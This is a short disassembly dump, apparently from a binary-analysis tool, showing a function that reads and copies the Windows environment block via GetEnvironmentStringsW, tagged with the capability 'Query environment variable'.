lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140005278
nop
cmp dword [rbp + 0x20], 0
je 0x140005439
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140005444
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000537c
Function at 0x14000cf8c
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000d013
mov rsi, rbx
cmp word [rax], bp
je 0x14000cfd2
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000cfbc
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000cfb8
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009d4c
mov rdi, rax
test rax, rax
je 0x14000d000
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003360
mov rbp, rdi
xor ecx, ecx
call fcn.140009118
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret